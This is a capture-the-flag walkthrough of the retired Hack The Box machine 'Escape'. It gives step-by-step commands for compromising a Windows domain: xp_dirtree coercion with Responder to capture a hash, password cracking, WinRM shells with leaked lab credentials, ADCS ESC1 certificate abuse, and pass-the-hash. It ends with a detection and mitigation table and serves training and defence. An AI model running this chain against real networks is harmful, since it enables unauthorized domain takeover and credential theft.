Skip to content
Pwnversity
ESCAPE11 min · upd. 2026-11

Escape

active-directorymssqlntlmadcsesc1responder
Platform Hack The Box (retired)
OS Windows — DC dc.sequel.htb, domain sequel.htb
Difficulty Medium
Approx. time ~45 min
Chain SMB guest → PDF with MSSQL creds → xp_dirtree + Responder (sql_svc hash) → crack → WinRM → log with ryan.cooper’s pass → ADCS ESC1 → Administrator cert → NT hash → pass-the-hash
flowchart TD
  A["SMB share Public (guest)"] --> B["SQL Server Procedures.pdf<br/>MSSQL PublicUser creds"]
  B -->|mssqlclient| C["MSSQL access"]
  C -->|xp_dirtree to my host + Responder| D["sql_svc NetNTLM hash"]
  D -->|john / rockyou| E["sql_svc : REGGIE1234ronnie"]
  E -->|evil-winrm| F["sql_svc shell"]
  F -->|ERRORLOG.bak| G["ryan.cooper's pass<br/>(reused)"]
  G -->|evil-winrm| H["ryan.cooper (user.txt)"]
  H -->|Certipy: ESC1| I["Cert for Administrator"]
  I -->|certipy auth| J["Administrator NT hash"]
  J -->|pass-the-hash WinRM| K["Administrator (root.txt)"]
  • An SMB share (Public) readable with guest holds a PDF with MSSQL user credentials.
  • From MSSQL we coerce the service into authenticating to our box (xp_dirtree) and capture the sql_svc NetNTLM hash with Responder, then crack it.
  • Over WinRM, a service log (ERRORLOG.bak) leaks ryan.cooper’s password (reused).
  • The domain has an ADCS CA with a template vulnerable to ESC1: any authenticated user can request a certificate specifying the SAN. We request one as Administrator, use it to pull its NT hash, and pass-the-hash.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see: lots of Active Directory ports (Kerberos, LDAP, SMB) and MSSQL on 1433. Nmap gives two names: sequel.htb (domain) and dc.sequel.htb (DC).

    What I think: AD + MSSQL. I add both names to /etc/hosts. Important note: there’s a clock skew with the DC; Kerberos only tolerates 5 minutes, so when the time comes I’ll use ntpdate. → Network service enumeration

    Ventana de terminal
    echo "$IP sequel.htb dc.sequel.htb" | sudo tee -a /etc/hosts

2. Initial access: from the share to the MSSQL service

Section titled “2. Initial access: from the share to the MSSQL service”
  1. Enumerate shares with guest

    What I do:

    Ventana de terminal
    smbclient -L \\\\sequel.htb\\ -N
    smbclient \\\\sequel.htb\\Public -N
    smb> get "SQL Server Procedures.pdf"

    What I see: a non-standard share, Public, accessible with no password (guest). Inside, a PDF: SQL Server Procedures.pdf.

    What I think: a guest-readable share is always the first thing I check on a DC with no web. → AD / SMB enumeration

  2. Read the PDF: MSSQL credentials

    What I see: the PDF documents SQL Server procedures and includes sample credentials: PublicUser:GuestUserCantWrite1.

    What I do:

    Ventana de terminal
    impacket-mssqlclient PublicUser:GuestUserCantWrite1@sequel.htb

    What I see: MSSQL connection works, but low privilege and nothing juicy in the databases.

  1. Capture the service hash

    What I do: start Responder and ask SQL to list a UNC path on my box.

    Ventana de terminal
    sudo responder -I tun0 -v # on my box

    In the MSSQL session:

    EXEC MASTER.sys.xp_dirtree '\\<LHOST>\test', 1, 1

    What I see: Responder captures a NetNTLMv2 hash for sql_svc.

    Why it works: xp_dirtree makes the MSSQL service reach a remote SMB path, and in doing so it authenticates to my host with the account it runs as (sql_svc). Since that’s a regular user account (not a gMSA), its password can be weak and crackable. → NTLM authentication and hash capture · MSSQL abuse

  2. Crack and get in over WinRM

    What I do:

    Ventana de terminal
    john --wordlist=/usr/share/wordlists/rockyou.txt hash
    # sql_svc:REGGIE1234ronnie
    evil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnie

    What I see: a shell as sql_svc, but no user flag yet.

  1. Look for other users and logs

    What I do:

    Ventana de terminal
    ls C:\Users
    type C:\sqlserver\Logs\ERRORLOG.bak

    What I see: C:\Users\Ryan.Cooper exists. In the MSSQL log there’s a failed login for ryan.cooper with the password written in clear: NuclearMosquito3 (they typed the password into the username field).

    What I think: people reuse passwords across services. I try it as ryan.cooper’s domain credential. → Credential hunting

  2. WinRM as ryan.cooper

    What I do:

    Ventana de terminal
    evil-winrm -i sequel.htb -u ryan.cooper -p NuclearMosquito3

    What I see: a shell as ryan.cooper. user.txt → abcd…wxyz (redacted).

  1. Enumerate the CA and templates

    What I think: the initial scan showed a lot of certificate activity → there’s probably an ADCS CA. I enumerate with Certipy (from my box) or Certify (on the host).

    Ventana de terminal
    certipy find -u ryan.cooper@sequel.htb -p NuclearMosquito3 -dc-ip $IP -vulnerable -stdout

    What I see: a template, UserAuthentication, flagged as ESC1: Authenticated Users can request it and it has ENROLLEE_SUPPLIES_SUBJECT in msPKI-Certificate-Name-Flag.

    What I think: ESC1 means anyone who can enroll in the template can specify an arbitrary SAN (another user’s UPN) in the certificate. With that I request a certificate as administrator. → ADCS: ESC1 and vulnerable templates

  2. Request a certificate as Administrator (ESC1)

    What I do:

    Ventana de terminal
    certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 \
    -ca sequel-dc-ca -template UserAuthentication \
    -upn administrator@sequel.htb -target sequel.htb

    What I see: the CA issues administrator.pfx.

    Why it works: the template lets the requester set the Subject Alternative Name. By requesting with -upn administrator@sequel.htb, the CA issues a certificate that identifies the holder as Administrator, even though ryan.cooper is the one asking.

  3. Authenticate with the certificate and get the NT hash

    What I do:

    Ventana de terminal
    sudo ntpdate -u dc.sequel.htb
    certipy auth -pfx administrator.pfx

    What I see: Certipy uses the PFX to get a TGT via PKINIT and, from it, the NT hash of Administrator (a52f78e…58f4ee).

  4. Pass-the-hash to Administrator

    What I do:

    Ventana de terminal
    evil-winrm -i sequel.htb -u administrator -H <NT_hash>
    cat C:\Users\Administrator\Desktop\root.txt

    What I see: a shell as Administrator. root.txt → abcd…wxyz (redacted).

    Why it works: the NT hash is enough to authenticate over NTLM. → Lateral movement


There’s no web. Which share isn’t a standard one and is readable with guest?

What I tried Result How I ruled it out
Hunting data in MSSQL databases Nothing useful The value was coercing authentication, not the data
Using Kerberos without syncing the clock KRB_AP_ERR_SKEW 8h skew; ntpdate before PKINIT
xp_cmdshell for direct RCE No permission to enable it sql_svc wasn’t sysadmin; the path was capturing its hash
  • Guest-readable share → download it and read everything, PDFs included. Credentials live in “procedure” documents.
  • Low-privilege MSSQL access → xp_dirtree/xp_subdirs + Responder. Capturing the service’s hash is often more productive than fighting SQL permissions.
  • First shell → check logs and backups (*.bak, ERRORLOG). Passwords typed in the wrong field end up there.
  • In AD, always enumerate ADCS (certipy find -vulnerable). ESC1–ESC8 are direct paths to DA that don’t rely on a software exploit.
  • ESC1 = arbitrary SAN. If ENROLLEE_SUPPLIES_SUBJECT is on and you can enroll, you request a cert as whoever you like.
Phase Detection Mitigation
Guest share Events 5140/5145 for access to Public Remove guest/anonymous access; don’t leave credential-bearing documents in shares
xp_dirtree → outbound auth Outbound SMB from the SQL server to unusual hosts; event 4648 Disable xp_dirtree/dangerous procedures; run SQL as a gMSA
Credentials in logs Review logs and .bak files for passwords; DLP Don’t log credentials; rotate exposed ones
ESC1 Event 4886/4887 (cert request/issue) with a SAN that doesn’t match the requester Remove ENROLLEE_SUPPLIES_SUBJECT; require manager approval; restrict who can enroll
PKINIT / pass-the-hash 4768 (TGT via certificate), 4624 type 3 from admin on an odd host Admin tiering; monitor certificate-based authentication